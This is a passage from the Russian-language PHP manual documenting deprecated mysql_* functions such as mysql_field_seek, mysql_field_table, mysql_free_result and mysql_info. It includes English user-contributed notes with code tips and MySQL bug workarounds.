                echo mysql_field_name($fields, $i) . "</th>\n";
            }
            echo "\t</tr>\n";
            $myrow = mysql_fetch_array($result);
            do {
                echo "\t<tr>\n";
                for ($i = 1; $i < $cols; $i++){
                    echo "\t\t<td> $myrow[$i] &nbsp;</td>\n";
                }
                echo "\t</tr>\n";
            } while ($myrow = mysql_fetch_array($result));
            echo "</table>\n";
        }
    }
}

searchtable($host,$user,$pass,$database,$tablename,$userquery);
?>
matt at iwdt dot net 23-Sep-2001 06:09
here's one way to print out a row of <th> tags from a table
NOTE: i didn't test this

$result = mysql_query("select * from table");

for ($i = 0; $i < mysql_num_fields($result); $i++) {
    print "<th>".mysql_field_name($result, $i)."</th>\n";
}

post a comment if there's an error


Устанавливает внутренний указатель результата на переданное смещение поля

  • « mysql_field_name
  • mysql_field_table »
  • PHP Manual
  • MySQL
  • Устанавливает внутренний указатель результата на переданное смещение поля

mysql_field_seek

(PHP 4, PHP 5)

mysql_field_seek — Устанавливает внутренний указатель результата на переданное смещение поля

Внимание

Данный модуль устарел, начиная с версии PHP 5.5.0, и удалён в PHP 7.0.0. Используйте вместо него MySQLi или PDO_MySQL. Смотрите также инструкцию MySQL: выбор API. Альтернативы для данной функции:

  • mysqli_field_seek()
  • PDOStatement::fetch() с использованием параметров cursor_orientation и offset

Описание

mysql_field_seek(resource $result, int $field_offset): bool

Перемещает указатель к полю с указанным смещением. Если следующий вызов функции mysql_fetch_field() не содержит смещения, то будет возвращено смещение, содержащееся в mysql_field_seek().

Список параметров

result

Обрабатываемый результат запроса. Этот результат может быть получен с помощью функции mysql_query().

field_offset

Числовое смещение поля. field_offset начинается с 0. Если field_offset не существует, генерируется ошибка уровня E_WARNING.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • mysql_fetch_field() - Возвращает информацию о колонке из результата запроса в виде объекта

User Contributed Notes

adrien dot gibrat at gmail dot com 04-Oct-2008 01:12
Not dumb at all!!

It means that "mysql_field_seek" and "mysql_data_seek" are moving the same cursor... through the rows and columns of the result resource.

Also means that the cursor goes to a new row when it reach a final field(aka column), by exemple while looping with "mysql_fetch_field".

Calling "mysql_fetch_object", "mysql_fetch_array", "mysql_fetch_assoc"
and "mysql_fetch_row" seems to place the cursor at the end of the line.

So calling "mysql_fetch_field" without a field index, just after that, will return false.
chris at igwsolutions dot com 25-Apr-2008 03:23
I spent a good deal of time trying to get the example to work, but the example does not work.
To do what the exaple is trying to do, you would need to use mysql_data_seek

assume we have table named testing which contains
id      name
1       Hassan
2       Jack
3       Rose
---------------

Here is an expample that will do the above example.

Since I am more comfortable in a OOP setting, I used mysql_fetch_object

<?php
    require("myConnenctionFile.php");

    $sql="SELECT  * from testing";
    $result=mysql_query($sql);

    $row = mysql_fetch_object($result);
    echo $row->id . ' ' . $row->name; // Output is (1      Hassan)
    mysql_data_seek($result,2);
    $row = mysql_fetch_object($result);
    echo $row->id . ' ' . $row->name; // Output is (3      Rose)
    echo "<BR><BR>";
?>
Hassan Kazem 10-Jan-2008 10:34
an example of this function
assume we have table1 which contains
ID      Name
1       Hassan
2       Jack
3       Rose
---------------
<?php
mysql_connect("sql.server.com", "username", "password") or die(mysql_error());
mysql_select_db("database") or die(mysql_error());
$sql="SELECT  * from table1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
echo $row['ID'] . ' ' . $row['Name']; // Output is (1      Hassan)
mysql_field_seek($result,2);
echo $row['ID'] . ' ' . $row['Name']; // Output is (3      Rose)
?>
---------------
// You can see that the seek command forwarded the pointer one step and skipped row number 2
poulpillusion at free dot fr 17-Apr-2007 07:44
A dumb comment... but it may save people some time :
mysql_field_seek != mysql_data_seek

In order to fetch again the results of a resource result from the beginning, you will use mysql_data_seek(id, 0)


Возвращает название таблицы, которой принадлежит указанное поле

  • « mysql_field_seek
  • mysql_field_type »
  • PHP Manual
  • MySQL
  • Возвращает название таблицы, которой принадлежит указанное поле

mysql_field_table

(PHP 4, PHP 5)

mysql_field_table — Возвращает название таблицы, которой принадлежит указанное поле

Внимание

Данный модуль устарел, начиная с версии PHP 5.5.0, и удалён в PHP 7.0.0. Используйте вместо него MySQLi или PDO_MySQL. Смотрите также инструкцию MySQL: выбор API. Альтернативы для данной функции:

  • mysqli_fetch_field_direct() [table] или [orgtable]
  • PDOStatement::getColumnMeta() [table]

Описание

mysql_field_table(resource $result, int $field_offset): string

Возвращает название таблицы, которой принадлежит указанное поле.

Список параметров

result

Обрабатываемый результат запроса. Этот результат может быть получен с помощью функции mysql_query().

field_offset

Числовое смещение поля. field_offset начинается с 0. Если field_offset не существует, генерируется ошибка уровня E_WARNING.

Возвращаемые значения

Имя таблицы в случае успешного выполнения.

Примеры

Пример #1 Пример использования mysql_field_table()

<?php

$query = "SELECT account.*, country.* FROM account, country WHERE country.name = 'Portugal' AND account.country_id = country.id";

// получаем результат из базы данных
$result = mysql_query($query);

// выводит имя таблицы и имя поля
for ($i = 0; $i < mysql_num_fields($result); ++$i) {
$table = mysql_field_table($result, $i);
$field = mysql_field_name($result, $i);

echo "$table: $field\n";
}

?>

Примечания

Замечание:

Для обратной совместимости может быть использован следующий устаревший псевдоним: mysql_fieldtable()

Смотрите также

  • mysql_list_tables() - Возвращает список таблиц базы данных MySQL

User Contributed Notes

djafferian at sos dot ri dot gov 15-Jul-2014 02:35
This note may apply to anyone who might still be running MySQL 5.0.32 on Debian 4.0.  The mysql_field_table function may return an empty table name if the SELECT query involved uses GROUP BY or ORDER BY and references a view in the FROM clause.  This is caused by MySQL bug 28898, which was fixed in 5.0.46.  I encountered this when I noticed a difference between our production RSS feeds generated on a Debian 5.0.10 server running MySQL 5.0.51a, and the same feed generated on one of our test servers running MySQL 5.0.32 on Debian 4.0.
mehdi dot haresi at gmail dot com 17-Jul-2009 02:50
For all of you having problems accessing duplicated field names in queries with their table alias i have implemented the following quick solution:

<?php
function mysql_fetch_alias_array($result)
{
    if (!($row = mysql_fetch_array($result)))
    {
        return null;
    }

    $assoc = Array();
    $rowCount = mysql_num_fields($result);

    for ($idx = 0; $idx < $rowCount; $idx++)
    {
        $table = mysql_field_table($result, $idx);
        $field = mysql_field_name($result, $idx);
        $assoc["$table.$field"] = $row[$idx];
    }

    return $assoc;
}
?>

Lets asume we have 2 tables student and contact each having fID as the index field and want to access both fID fields in php.

The usage of this function will be pretty similar to calling mysql_fetch_array:

<?php
$result = mysql_query("select * from student s inner join contact c on c.fID = s.frContactID");

while ($row = mysql_fetch_alias_array($result))
{
    echo "StudenID: {$row['s.fID']}, ContactID: {$row['c.fID']}";
}
?>

Voila, that's it :)

Please be aware that by using this function, you have to access all fields with their alias name (e.g. s.Name, s.Birhtday) even if they are not duplicated.

If you have questions, just send me a mail.

Best regards,
Mehdi Haresi
die-webdesigner.at
jorge at rhst dot net 29-Jul-2007 02:57
The function below takes a function and returns the col->table mapping as an array.

For example:

$query = "SELECT a.id AS a_id, b.id b_id FROM atable AS a, btable b"

$cols  = queryAlias($query);

print_r($cols);

Returns:

Array
(
    [a] => atable
    [b] => btable
)

I can't promise it's perfect, but this function never hit production cause I ended up using mysqli methods instead.

Enjoy
-Jorge

  /**
   * Takes in a query and returns the alias->table mapping.
   *
   * @param string $query
   * @return array of alias mapping
   */

  function queryAlias ( $query ) {

    //Make it all lower, we ignore case
    $substr = strtolower($query);

    //Remove any subselects
    $substr = preg_replace ( '/\(.*\)/', ", $substr);

    //Remove any special charactors
    $substr = preg_replace ( '/[^a-zA-Z0-9_,]/', ' ', $substr);

    //Remove any white space
    $substr = preg_replace('/\s\s+/', ' ', $substr);

    //Get everything after FROM
    $substr = strtolower(substr($substr, strpos(strtolower($substr),' from ') + 6));

    //Rid of any extra commands
    $substr = preg_replace(
                Array(
                    '/ where .*+$/',
                    '/ group by .*+$/',
                    '/ limit .*+$/' ,
                    '/ having .*+$/' ,
                    '/ order by .*+$/',
                    '/ into .*+$/'
                   ), ", $substr);

    //Remove any JOIN modifiers
    $substr = preg_replace(
                Array(
                    '/ left /',
                    '/ right /',
                    '/ inner /',
                    '/ cross /',
                    '/ outer /',
                    '/ natural /',
                    '/ as /'
                   ), ' ', $substr);

    //Replace JOIN statements with commas
    $substr = preg_replace(Array('/ join /', '/ straight_join /'), ',', $substr);

    $out_array = Array();

    //Split by FROM statements
    $st_array = split (',', $substr);

    foreach ($st_array as $col) {

      $col = preg_replace(Array('/ on .*+/'), ", $col);

      $tmp_array = split(' ', trim($col));

      //Oh no, something is wrong, let's just continue
      if (!isset($tmp_array[0]))
        continue;

      $first = $tmp_array[0];

      //If the "AS" is set, lets include that, if not, well, guess this table isn't aliased.
      if (isset($tmp_array[1]))
        $second = $tmp_array[1];
        else
        $second = $first;

      if (strlen($first))
       $out_array[$second] = $first;

    }

    return $out_array;
  }
spam at blondella dot de 03-Oct-2006 04:09
<?php
/*
this function might help in the case described above :-)
*/
function mysql_field_table_resolve_alias($inQuery,$inResult,$inFieldName) {
   $theNameOrAlias = mysql_field_table($inResult,$inFieldName);
   //check, if AS syntax is being used
   if(ereg(" AS ",$inQuery))  {
      //catch words in query
      $theWords = explode(" ",ereg_replace(",|\n"," ",$inQuery));
      //find the words preceding and following AS
      foreach($theWords as $theIndex => $theWord)  {
         if(trim($theWord) == "AS"
         && isset($theWords[$theIndex-1])
         && isset($theWords[$theIndex+1])
         && $theWords[$theIndex+1] == $theNameOrAlias
         ) {
            $theNameOrAlias = $theWords[$theIndex-1];
            break 1;
         }
      }
   }
   return $theNameOrAlias;
}
?>
me at thomaskeller dot biz 23-Nov-2005 01:15
Beware that if you upgrade to MySQL 5 from any earlier version WITHOUT dumping and reloading your data (just by keeping the binary data in MyISAM table files), you might get weird output on the "table" value for mysql_fetch_field and in this function. Weird means that the table name is randomly set or not.

This behaviour seems to popup only if the SQL query contains a ORDER BY clause. A bug is already reported:

http://bugs.mysql.com/bug.php?id=14915

To prevent the issue, dump and reload all participating tables in your query or do

CREATE TABLE tmp SELECT * FROM table;
DROP TABLE table;
ALTER TABLE tmp RENAME table;

on each one via commandline client.
cptnemo 14-Aug-2004 07:18
When trying to find table names for a (My)SQL query containing 'tablename AS alias', mysql_field_table() only returns the alias as specified in the AS clause, and not the tablename.


Возвращает тип указанного поля из результата запроса

  • « mysql_field_table
  • mysql_free_result »
  • PHP Manual
  • MySQL
  • Возвращает тип указанного поля из результата запроса

mysql_field_type

(PHP 4, PHP 5)

mysql_field_type — Возвращает тип указанного поля из результата запроса

Внимание

Данный модуль устарел, начиная с версии PHP 5.5.0, и удалён в PHP 7.0.0. Используйте вместо него MySQLi или PDO_MySQL. Смотрите также инструкцию MySQL: выбор API. Альтернативы для данной функции:

  • mysqli_fetch_field_direct() [type]
  • PDOStatement::getColumnMeta() [driver:decl_type] или [pdo_type]

Описание

mysql_field_type(resource $result, int $field_offset): string

Функция mysql_field_type() аналогична функции mysql_field_name(). Аргументы одинаковы, но вместо имени колонки возвращается её тип.

Список параметров

result

Обрабатываемый результат запроса. Этот результат может быть получен с помощью функции mysql_query().

field_offset

Числовое смещение поля. field_offset начинается с 0. Если field_offset не существует, генерируется ошибка уровня E_WARNING.

Возвращаемые значения

Поля могут быть следующих типов: "int", "real", "string", "blob" и других, подробно описанных » документации MySQL.

Примеры

Пример #1 Пример использования mysql_field_type()

<?php
mysql_connect("localhost", "mysql_username", "mysql_password");
mysql_select_db("mysql");
$result = mysql_query("SELECT * FROM func");
$fields = mysql_num_fields($result);
$rows = mysql_num_rows($result);
$table = mysql_field_table($result, 0);
echo "Ваша таблица '" . $table . "' содержит " . $fields . " поля и " . $rows . " запись\n";
echo "В таблице есть следующие поля:\n";
for ($i=0; $i < $fields; $i++) {
$type = mysql_field_type($result, $i);
$name = mysql_field_name($result, $i);
$len = mysql_field_len($result, $i);
$flags = mysql_field_flags($result, $i);
echo $type . " " . $name . " " . $len . " " . $flags . "\n";
}
mysql_free_result($result);
mysql_close();
?>

Результатом выполнения данного примера будет что-то подобное:

Ваша таблица 'func' содержит 4 поля и 1 запись
В таблице есть следующие поля:
string name 64 not_null primary_key binary
int ret 1 not_null
string dl 128 not_null
string type 9 not_null enum

Примечания

Замечание:

Для обратной совместимости может быть использован следующий устаревший псевдоним: mysql_fieldtype()

Смотрите также

  • mysql_field_name() - Возвращает название указанной колонки результата запроса
  • mysql_field_len() - Возвращает длину указанного поля

User Contributed Notes

fred at dinkler dot com 08-Feb-2007 11:52
In MySQL 4.1.x, the four TEXT types (TINYTEXT, TEXT, MEDIUMTEXT, and LONGTEXT) return 'blob" as field types, not "string".
c dot futterlieb at bluewin dot ch 10-Dec-2006 06:06
Additional to the note below:
If you're using the "SHOW FIELDS" syntax, be sure that you're adding the table name instead of the db name in the "FROM" parameter:

<?php
$result = mysql_query("SHOW FIELDS FROM table");
?>

Also possible:

<?php
$result = mysql_query("SHOW FIELDS FROM table.db");
?>

or this:

<?php
$result = mysql_query("DESCRIBE table");
?>
http://dev.mysql.com/doc/refman/5.1/en/describe.html
fusionstream at gmail dot com 17-Sep-2006 09:19
krang at krang dot org dot uk
Condensed version of what KRANG said.

To get info on the MYSQL field type, use this code

<?
$result = mysql_query("SHOW FIELDS FROM db_name");

$i = 1;
while ($row = mysql_fetch_array($result)) { //go through one field at a time
  echo "Field $i: ";
  print_r($row) //display all information about A field which can be accessed thru the "$row" array.
  $i++;
}
?>

Will display something like:
Field 1: Array ( [Field] => SN [Type] => mediumint(8) unsigned [Null] => [Key] => PRI [Default] => [Extra] => auto_increment ) , SN, mediumint(8) unsigned
Field 2: Array ( [Field] => ENTITY_ID [Type] => varchar(20) [Null] => [Key] => [Default] => [Extra] => ) , ENTITY_ID, varchar(20)
mariob at menta dot net 07-Nov-2003 12:21
For version 4.3.4, types returned are:

STRING, VAR_STRING: string
TINY, SHORT, LONG, LONGLONG, INT24: int
FLOAT, DOUBLE, DECIMAL: real
TIMESTAMP: timestamp
YEAR: year
DATE: date
TIME: time
DATETIME: datetime
TINY_BLOB, MEDIUM_BLOB, LONG_BLOB, BLOB: blob
NULL: null
Any other: unknown
swalif_mesa at hotmail dot com 09-Jul-2003 10:38
Hmm for the previous comment, note that SHOW FIELDS is an alias of SHOW COLUMNS. Very useful if you need to search the mysql-documentation. Here is the link anyway...
http://www.mysql.com/doc/en/SHOW_DATABASE_INFO.html
krang at krang dot org dot uk 10-Mar-2002 06:13
The field type returns what PHP classifies the data found in the field, not how it is stored in the database; use the following example to retrieve the MySQL information about the field....

$USERNAME = '';
$PASSWORD = '';

$DATABASE = '';
$TABLE_NAME = '';

mysql_connect('localhost', $USERNAME, $PASSWORD)
    or die ("Could not connect");

$result = mysql_query("SHOW FIELDS FROM $DATABASE.$TABLE_NAME");

$i = 0;

while ($row = mysql_fetch_array($result)) {
  echo $row['Field'] . ' ' . $row['Type'];
}


Освобождает память от результата запроса

  • « mysql_field_type
  • mysql_get_client_info »
  • PHP Manual
  • MySQL
  • Освобождает память от результата запроса

mysql_free_result

(PHP 4, PHP 5)

mysql_free_result — Освобождает память от результата запроса

Внимание

Данный модуль устарел, начиная с версии PHP 5.5.0, и удалён в PHP 7.0.0. Используйте вместо него MySQLi или PDO_MySQL. Смотрите также инструкцию MySQL: выбор API. Альтернативы для данной функции:

  • mysqli_free_result()
  • Присвоение значения null переменной PDO объекта, или PDOStatement::closeCursor()

Описание

mysql_free_result(resource $result): bool

mysql_free_result() высвободит всю память, занимаемую результатом, на который ссылается переданный дескриптор result.

mysql_free_result() нуждается в вызове только в том случае, если вы всерьёз обеспокоены тем, сколько памяти используют ваши запросы к БД, возвращающие большое количество данных. Вся память, используемая для хранения этих данных автоматически очистится в конце работы скрипта.

Список параметров

result

Обрабатываемый результат запроса. Этот результат может быть получен с помощью функции mysql_query().

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Если в качестве параметра result передан не ресурс, то будет вызвана ошибка уровня E_WARNING. Стоит также заметить, что mysql_query() возвращает resource только для запросов SELECT, SHOW, EXPLAIN и DESCRIBE.

Примеры

Пример #1 Пример использования mysql_free_result()

<?php
$result = mysql_query("SELECT id,email FROM people WHERE id = '42'");
if (!$result) {
echo 'Не удалось выполнить запрос: ' . mysql_error();
exit;
}
/* Используем результат, подразумевая, что после этого он нам больше не нужен */
$row = mysql_fetch_assoc($result);

/* Теперь освобождаем результат и продолжаем дальнейшую работу над нашим скриптом */
mysql_free_result($result);

echo $row['id'];
echo $row['email'];
?>

Примечания

Замечание:

Для обратной совместимости может быть использован следующий устаревший псевдоним: mysql_freeresult()

Смотрите также

  • mysql_query() - Посылает запрос MySQL
  • is_resource() - Проверяет, является ли переменная ресурсом

User Contributed Notes

webmaster at bluesting dot co dot za 16-Mar-2011 04:44
mysql_query() also returns a resource for "OPTIMIZE TABLE" statements!
admin at ifyouwantblood dot de 18-Mar-2008 12:47
yes this function may increase the memory usage if you use unbuffered querys and if you have not fetched all the data from mysql. in this case the mysql api has a problem: you want to free the result but do not want to close the connection. now mysql will only accept another query if all data has been fetched, so the api now must fetch the rest of the data when calling mysql_free_result().

so only use unbuffered querys if you fetch all the data (and need it).
21-Nov-2006 02:53
If you're seeing warnings like "Warning: Unknown: 6 result set(s) not freed. Use mysql_free_result to free result sets which were requested using mysql_query() in Unknown on line 0" and want to turn them off, set mysql.trace_mode = Off in your php.ini


Возвращает данные о MySQL-клиенте

  • « mysql_free_result
  • mysql_get_host_info »
  • PHP Manual
  • MySQL
  • Возвращает данные о MySQL-клиенте

mysql_get_client_info

(PHP 4 >= 4.0.5, PHP 5)

mysql_get_client_info — Возвращает данные о MySQL-клиенте

Внимание

Данный модуль устарел, начиная с версии PHP 5.5.0, и удалён в PHP 7.0.0. Используйте вместо него MySQLi или PDO_MySQL. Смотрите также инструкцию MySQL: выбор API. Альтернативы для данной функции:

  • mysqli_get_client_info()
  • PDO::getAttribute() с параметром attribute заданным как PDO::ATTR_CLIENT_VERSION

Описание

mysql_get_client_info(): string

mysql_get_client_info() возвращает строку, содержащую версию клиентской библиотеки.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Версия клиентской библиотеки MySQL.

Примеры

Пример #1 Пример использования mysql_get_client_info()

<?php
printf("Версия клиентской библиотеки MySQL: %s\n", mysql_get_client_info());
?>

Результатом выполнения данного примера будет что-то подобное:

Версия клиентской библиотеки MySQL: 3.23.39

Смотрите также

  • mysql_get_host_info() - Возвращает информацию о соединении с MySQL
  • mysql_get_proto_info() - Возвращает информацию о протоколе MySQL
  • mysql_get_server_info() - Возвращает информацию о сервере MySQL

User Contributed Notes

There are no user contributed notes for this page.


Возвращает информацию о соединении с MySQL

  • « mysql_get_client_info
  • mysql_get_proto_info »
  • PHP Manual
  • MySQL
  • Возвращает информацию о соединении с MySQL

mysql_get_host_info

(PHP 4 >= 4.0.5, PHP 5)

mysql_get_host_info — Возвращает информацию о соединении с MySQL

Внимание

Данный модуль устарел, начиная с версии PHP 5.5.0, и удалён в PHP 7.0.0. Используйте вместо него MySQLi или PDO_MySQL. Смотрите также инструкцию MySQL: выбор API. Альтернативы для данной функции:

  • mysqli_get_host_info()
  • PDO::getAttribute() с параметром attribute заданным как PDO::ATTR_CONNECTION_STATUS

Описание

mysql_get_host_info(resource $link_identifier = NULL): string|false

Описывает тип используемого соединения, указанного переданным дескриптором соединения, включая имя хоста.

Список параметров

link_identifier

Соединение MySQL. Если идентификатор соединения не был указан, используется последнее соединение, открытое mysql_connect(). Если такое соединение не было найдено, функция попытается создать таковое, как если бы mysql_connect() была вызвана без параметров. Если соединение не было найдено и не смогло быть создано, генерируется ошибка уровня E_WARNING.

Возвращаемые значения

Возвращает строку, описывающую тип используемого соединения, указанного переданным дескриптором соединения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования mysql_get_host_info()

<?php
$link = mysql_connect('localhost', 'mysql_user', 'mysql_password');
if (!$link) {
die('Ошибка соединения: ' . mysql_error());
}
printf("Тип соединения с MySQL: %s\n", mysql_get_host_info());
?>

Результатом выполнения данного примера будет что-то подобное:

Тип соединения с MySQL: Localhost via UNIX socket

Смотрите также

  • mysql_get_client_info() - Возвращает данные о MySQL-клиенте
  • mysql_get_proto_info() - Возвращает информацию о протоколе MySQL
  • mysql_get_server_info() - Возвращает информацию о сервере MySQL

User Contributed Notes

There are no user contributed notes for this page.


Возвращает информацию о протоколе MySQL

  • « mysql_get_host_info
  • mysql_get_server_info »
  • PHP Manual
  • MySQL
  • Возвращает информацию о протоколе MySQL

mysql_get_proto_info

(PHP 4 >= 4.0.5, PHP 5)

mysql_get_proto_info — Возвращает информацию о протоколе MySQL

Внимание

Данный модуль устарел, начиная с версии PHP 5.5.0, и удалён в PHP 7.0.0. Используйте вместо него MySQLi или PDO_MySQL. Смотрите также инструкцию MySQL: выбор API. Альтернативы для данной функции:

  • mysqli_get_proto_info()

Описание

mysql_get_proto_info(resource $link_identifier = NULL): int|false

Возвращает информацию о протоколе MySQL.

Список параметров

link_identifier

Соединение MySQL. Если идентификатор соединения не был указан, используется последнее соединение, открытое mysql_connect(). Если такое соединение не было найдено, функция попытается создать таковое, как если бы mysql_connect() была вызвана без параметров. Если соединение не было найдено и не смогло быть создано, генерируется ошибка уровня E_WARNING.

Возвращаемые значения

Возвращает используемый протокол MySQL в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования mysql_get_proto_info()

<?php
$link = mysql_connect('localhost', 'mysql_user', 'mysql_password');
if (!$link) {
die('Ошибка соединения: ' . mysql_error());
}
printf("Версия протокола MySQL: %s\n", mysql_get_proto_info());
?>

Результатом выполнения данного примера будет что-то подобное:

Версия протокола MySQL: 10

Смотрите также

  • mysql_get_client_info() - Возвращает данные о MySQL-клиенте
  • mysql_get_host_info() - Возвращает информацию о соединении с MySQL
  • mysql_get_server_info() - Возвращает информацию о сервере MySQL

User Contributed Notes

There are no user contributed notes for this page.


Возвращает информацию о сервере MySQL

  • « mysql_get_proto_info
  • mysql_info »
  • PHP Manual
  • MySQL
  • Возвращает информацию о сервере MySQL

mysql_get_server_info

(PHP 4 >= 4.0.5, PHP 5)

mysql_get_server_info — Возвращает информацию о сервере MySQL

Внимание

Данный модуль устарел, начиная с версии PHP 5.5.0, и удалён в PHP 7.0.0. Используйте вместо него MySQLi или PDO_MySQL. Смотрите также инструкцию MySQL: выбор API. Альтернативы для данной функции:

  • mysqli_get_server_info()
  • PDO::getAttribute() с параметром attribute заданным как PDO::ATTR_SERVER_VERSION

Описание

mysql_get_server_info(resource $link_identifier = NULL): string|false

Возвращает версию сервера MySQL.

Список параметров

link_identifier

Соединение MySQL. Если идентификатор соединения не был указан, используется последнее соединение, открытое mysql_connect(). Если такое соединение не было найдено, функция попытается создать таковое, как если бы mysql_connect() была вызвана без параметров. Если соединение не было найдено и не смогло быть создано, генерируется ошибка уровня E_WARNING.

Возвращаемые значения

Возвращает версию сервера MySQL в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования mysql_get_server_info()

<?php
$link = mysql_connect('localhost', 'mysql_user', 'mysql_password');
if (!$link) {
die('Ошибка соединения: ' . mysql_error());
}
printf("Версия сервера MySQL: %s\n", mysql_get_server_info());
?>

Результатом выполнения данного примера будет что-то подобное:

Версия сервера MySQL: 4.0.1-alpha

Смотрите также

  • mysql_get_client_info() - Возвращает данные о MySQL-клиенте
  • mysql_get_host_info() - Возвращает информацию о соединении с MySQL
  • mysql_get_proto_info() - Возвращает информацию о протоколе MySQL
  • phpversion() - Получает текущую версию PHP

User Contributed Notes

cmscoder at seasamecreek dot info 16-May-2008 04:55
Here is something I put together because I needed a way to pull the MySQL version number from the server without actually having a connection.  This was due to being part of a server info screen prior to installation of a cms.  Users need to know if their MySQL is supported or not prior to installation right? :)

This will scrape the phpinfo page looking for the MySQL row that says Client API version and return the version number after it.  This could also be used to scrape just about anything from the phpinfo page. :)

ob_start();
phpinfo(INFO_MODULES);
$info = ob_get_contents();
ob_end_clean();
$info = stristr($info, 'Client API version');
preg_match('/[1-9].[0-9].[1-9][0-9]/', $info, $match);
$gd = $match[0];
echo 'MySQL:  '.$gd.' <br />';

This will output:
MySQL: 4.1.22 (which is the version on my server)

I know this is crude but it's the only thing I could come up with and there isn't anything like this info available online so here it is.  I suck at preg_match and it would be helpful if someone could modify the string here to stand the test of time.
Kalle Sommer Nielsen 29-May-2007 04:54
An alternative to mysql_get_client_info() is to use the VERSION() function in MySQL language like:

<?php
$query = mysql_query("SELECT VERSION() as mysql_version");
?>

The output is the same as mysql_get_client_info()
cNOooSPAMlmax1 at o2 dot pl 08-Jul-2006 04:27
That's better:

<?php
mysql_connect('localhost', 'user', 'password') or
   die('Could not connect: ' . mysql_error());
$a = mysql_get_server_info();
$b = substr($a, 0, strpos($a, "-"));
echo $b;
?>


Возвращает информацию о последнем запросе

  • « mysql_get_server_info
  • mysql_insert_id »
  • PHP Manual
  • MySQL
  • Возвращает информацию о последнем запросе

mysql_info

(PHP 4 >= 4.3.0, PHP 5)

mysql_info — Возвращает информацию о последнем запросе

Внимание

Данный модуль устарел, начиная с версии PHP 5.5.0, и удалён в PHP 7.0.0. Используйте вместо него MySQLi или PDO_MySQL. Смотрите также инструкцию MySQL: выбор API. Альтернативы для данной функции:

  • mysqli_info()

Описание

mysql_info(resource $link_identifier = NULL): string

Возвращает подробную информацию о последнем запросе.

Список параметров

link_identifier

Соединение MySQL. Если идентификатор соединения не был указан, используется последнее соединение, открытое mysql_connect(). Если такое соединение не было найдено, функция попытается создать таковое, как если бы mysql_connect() была вызвана без параметров. Если соединение не было найдено и не смогло быть создано, генерируется ошибка уровня E_WARNING.

Возвращаемые значения

Возвращает информацию о запросе в случае успешного выполнения, или false в случае возникновения ошибки. Смотрите пример ниже для каких запросов возвращается информация и как выглядят возвращаемые значения. Для не перечисленных запросов будет возвращено значение false.

Примеры

Пример #1 Корректные виды запросов MySQL

Числа расставлены только для примера -- их значения зависят от результата запроса.

INSERT INTO ... SELECT ...
String format: Records: 23 Duplicates: 0 Warnings: 0
INSERT INTO ... VALUES (...),(...),(...)...
String format: Records: 37 Duplicates: 0 Warnings: 0
LOAD DATA INFILE ...
String format: Records: 42 Deleted: 0 Skipped: 0 Warnings: 0
ALTER TABLE
String format: Records: 60 Duplicates: 0 Warnings: 0
UPDATE
String format: Rows matched: 65 Changed: 65 Warnings: 0

Примечания

Замечание:

mysql_info() возвращает значение не равное false для INSERT ... VALUES только в том случае, если в запросе присутствует несколько списков значений.

Смотрите также

  • mysql_affected_rows() - Возвращает число затронутых прошлой операцией рядов
  • mysql_insert_id() - Возвращает идентификатор, сгенерированный при последнем INSERT-запросе
  • mysql_stat() - Возвращает текущий статус сервера

User Contributed Notes

tomas at matfyz dot cz 06-Dec-2008 03:57
Please note that the information on warning count cannot be taken from the mysql_info() due to mysql bugs #41283 and #41285:

http://bugs.mysql.com/?id=41283
http://bugs.mysql.com/?id=41285
bdobrica at gmail dot com 24-Apr-2006 12:18
As a solution to the problem pointed in the post reffering to mysql_affected_rows() returning 0 when you are making an update query and the fields are not modified although the query is valid, i'm posting the following function. It is very simple and based on a previous post.

function mysql_modified_rows () {
        $info_str = mysql_info();
        $a_rows = mysql_affected_rows();
        ereg("Rows matched: ([0-9]*)", $info_str, $r_matched);
        return ($a_rows < 1)?($r_matched[1]?$r_matched[1]:0):$a_rows;
        }

Hope you'll find it usefull.
info at granville dot nl 09-Nov-2005 03:25
Imade a quick conversion of eric's function just to count matched or affected rows from a query.

/**GD gdf_db_count_query_v1: returns the amount of rows matched or affected by the last query. Must be used immediately after the concerned query.
*/

function gdf_db_count_query($link = 'dbh') {

    $info_str = mysql_info($$link);

       if (ereg("Records: ([0-9]*)", $info_str, $count) == false) {
        ereg("Rows matched: ([0-9]*)", $info_str, $count);
    }

    return $count;

}
eric at projectsatellite dot com 22-Sep-2003 02:54
I agree that this is a useful function to use when trying to check on whether an update query matched a particular row. I created a simple function that returns an associative array with the values delineated in the returned string.

function get_mysql_info($linkid = null){
    $linkid? $strInfo = mysql_info($linkid) : $strInfo = mysql_info();

    $return = array();
    ereg("Records: ([0-9]*)", $strInfo, $records);
    ereg("Duplicates: ([0-9]*)", $strInfo, $dupes);
    ereg("Warnings: ([0-9]*)", $strInfo, $warnings);
    ereg("Deleted: ([0-9]*)", $strInfo, $deleted);
    ereg("Skipped: ([0-9]*)", $strInfo, $skipped);
    ereg("Rows matched: ([0-9]*)", $strInfo, $rows_matched);
    ereg("Changed: ([0-9]*)", $strInfo, $changed);

    $return['records'] = $records[1];
    $return['duplicates'] = $dupes[1];
    $return['warnings'] = $warnings[1];
    $return['deleted'] = $deleted[1];
    $return['skipped'] = $skipped[1];
    $return['rows_matched'] = $rows_matched[1];
    $return['changed'] = $changed[1];

    return $return;
}

After trying to update a row that may or may not exist, you can use the above function like so:

$vals = get_mysql_info($linkid);
if($vals['rows_matched'] == 0){
     mysql_query("INSERT INTO table values('val1','val2', 'valetc')", $linkid);
}
carl at NOSPAMthep dot lu dot se 06-Sep-2002 04:44
This function can be used as a workaround for a misfeature of MySQL: on an UPDATE, rows that aren't updated _solely because they looked the same before_ will not be seen in mysql_affected_rows(). This causes problems when you want to use the result of the update to determine if there's need to do an INSERT. With MySQL you can do an INSERT IGNORE if there's no risk of if failing because of a duplicate key other than the one used in the UPDATE. However, if this isn't the case or you want a bit of RDBMS independence, there's no easy/pretty workaround. I think I'll resort to doing a SELECT to determine the primary key before doing the update/insert, as using the CVS version of PHP isn't an option for me.


Возвращает идентификатор, сгенерированный при последнем INSERT-запросе

  • « mysql_info
  • mysql_list_dbs »
  • PHP Manual
  • MySQL
  • Возвращает идентификатор, сгенерированный при последнем INSERT-запросе

mysql_insert_id

(PHP 4, PHP 5)

